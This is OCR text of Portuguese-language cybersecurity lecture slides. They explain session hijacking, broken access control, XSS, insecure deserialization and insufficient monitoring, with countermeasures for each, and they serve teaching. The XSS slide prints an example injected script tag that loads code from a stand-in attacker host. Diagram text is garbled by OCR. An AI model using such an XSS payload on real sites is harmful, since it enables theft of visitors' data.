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Compreendendo o problema

e Situacado: Seu site tem uma area “protegida” para
usuarios com permissoes especiais.
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Que cuidados precisam ser
tomados?
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Objetivos

Compreender a logica do sequestro de
sessao em aplicacoes web

Compreender o que é quebra do controle
de acesso em aplicacoes web

Compreender as falhas de cross-site
scripting (XSS)
Compreender o problema da

desserializagdo insegura 8N\
—¢)

Compreender o problema do
monitoramento insuficiente
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Material de Estudo

Material Acesso ao Material
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Modulo Digital * Ambiente Aura: Tema 3, Assunto 2
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https://www.caetano.eng.br/aulas/2021b/ara0076.php
https://www.caetano.eng.br/aulas/2021b/ara0076.php
https://youtu.be/brB6xFzCmCw
https://youtu.be/-BfizfhKN3A
https://youtu.be/-BfizfhKN3A
https://youtu.be/-BfizfhKN3A
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SEQUESTRO E
QUEBRA DE SESSAO

O que é sequestro de #ﬂ,%
secao?
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Sequestro e Quebra de Sessao

e Oqueé?
4 o 7) ~ YA
— Alguém “roubar” a sessao de outro usuario

— Alguém forjar sessoes validas.

e Como funciona?

—
Session ID=ACF3D35F216AAEFC

=
Victim Sniffing a Web

legitim
session

[

Server

EL"J

Attacker
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Sequestro e Quebra de Sessao

e Como evitar?

— Tratar adequadamente a sessao

e Codificar dados.

— Manter a sessao em banco de dados
e Sessao se torna um ID, dados estao no banco
e Associar ID da sessao ao IP do computador
e Associar um timeout a sessao.

— Colocar o identificador da sessao como httponly

* J3d veremos mais sobre isso adiante.

— Usar linguagem que controle a sessao.
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QUEBRA DE
CONTROLE DE ACESSO

O que e? #ﬂ,%
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Quebra de Controle de Acesso

e Oqueé?
— Usuario acessar pagina que nao deveria

— Em geral: falta de verificacao de permissoes.

e Como funciona?
(--- W
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Delete users: A M
y accou nt
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I https: //insecure-website.com/accounts/
$| ab12345/accountmenu.jpg
https: //insecure-website.com/admin ¢
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Quebra de Controle de Acesso

e Como evitar?

— Verificar permissdes em toda pagina “protegida”

* N3o se limitar ao menu!

— Verificar permissdes na execucao de acoes

 Front e Backend

— Manter permissdes em BD, se possivel

 Facilitar a manutencao e revogacao.
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CROSS-SITE
SCRIPTING (XSS)

Voce ja teve problema #M#
com isso?
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Cross-Site Scripting (XSS)

e Oqueé?
— Um tipo de injecao de codigo...
— Quando o codigo é executado do lado do cliente

 Em geral... JavaScript.

& https:linsecure-website.comlcomment Tmessage=<script src=https:levil-user.netbadscript.s><iscript>

/ e Como fuunciona?

|7 % Password | I l,'f? Sensitive da‘lEr"I: | 4
* |

_: !
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Cross-Site Scripting (XSS)

e Como evitar?

— Configurar web server para nao aceitar

* No httpd.conf

* Header always set X-XSS-Protection "1, mode=Dblock"
— Configurar navegador para nao aceitar

* No cabecalho

* Content-Security-Policy: script-src 'self’
— Trate corretamente as entradas de usuario

— Nunca apresentar/usar diretamente dados
digitados pelo usuario

e Ser o mais restrito possivel
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DESSERIALIZACAO INSEGURA

O que e serializacao? ‘MEM#
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Desserializacao Insegura

O que é serializar?
— Serializar: objeto (dados+cddigo) - String

Belelress {
"class™: "Person”,

String rane "name™: "William Shakespeare",
Str!ng Hfﬂ&t F— "birthday™: -12802392000000,
String city - h i i

Person Ing - - "nickname™: "Bill",

_ String state K o——Sing zibcode "phoneNumbers™: [

String name Fipcode zpoode {

Date hithday
String nickname
List addresses

O>—
List phoneNumbers g~ b

"class™: "Phone",
"name™": "cell”,
"number": "555-123-4567"

"class™: "Phone",
Pl "name™: "home",
"number": "555-987-6543"

String name }
String mber ]
9

"addresses™: [
{
"class": Address",
"name": "Home",
"street": "My Street”,
"zipCode™: [
{

"class": "Zipcode",
"zipcode™: "53080"
}
|

}
1
}
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Desserializacao Insegura

e Oqueé?
— Desserializar: String - objeto (dados+cddigo)
— Objetivo: armazenar ou transferir objeto pela rede
— Ataque: alterar o “texto” transmitido...

* Enviando um codigo malicioso no lugar.

I_I' _ l Deserialization
File
Stream u Stream )
 — | Object
of Bytes of Bytes
— -
N
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Desserializacao Insegura

e Como evitar?

— Assinar digitalmente os dados

* Rejeitando dados cuja assinatura nao seja valida

— Quando nao for possivel assinar?

* Servidor intermediario para checar os dados

— Monitorar processos de desserializacao

* Alerta caso algum usuario ocasione muitas.
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MONITORAMENTO
INSUFICIENTE

Quando ocorre? Li

Mentimeter
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Monitoramento Insuficiente

e Oqueé?
— Registro incompleto de operacoes...
— Ou acompanhamento insuficiente dos registros...
— Ou relogios dessincronizados (ambiente de rede)

* Consequéncias?

— Impossibilidade de rastrear ocorréncias...

29 <or@

LoG)

* E de apurar os re:
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Monitoramento Insuficiente

e Como é feito?

— Monitoramento ativo
e Zabbix, Pulseway, Cacti, Prometheus etc.
e Usam protocolo proprio + SNMP
— Simple Network Management Protocol
— Monitoramento passivo

* Windows: visualizador de eventnrc

e Linux: varios arquivos de log ~ #85< ==
* Exemplos!

Seguranga Cibernética Froj. Ur. vdrier Laetarno



Monitoramento Insuficiente

* Como evitar problemas?

— Periodo agendado para monitoramento passivo

* Frequente!

— Rastrear operacdes normais

e Para verificar rastreabilidade

— Proteger os arquivos de log

e Evitar que sejam apagados

— Simular ataques e tentar rastrea-los

— Usar sistemas de monitoramento ativo
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ENCERRAMENTO

Seguranca Cibernética Prof. Dr. Daniel Caetano



Resumo e Proximos Passos

e Varios ataques via Web
— Sequestro e quebra de sessao
— Quebra de controle de acesso
— Cross-Site Scripting (XSS)
— Desserializacao Insergura
— Monitoramento Insuficiente

* PAs Aula: Saiba Mais, A Seguir... e Desafio!
— No mural: https://padlet.com/djcaetano/segciber

e Contramedidas...
— Como nos proteger?
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https://padlet.com/djcaetano/seguranca

PERGUNTAS?
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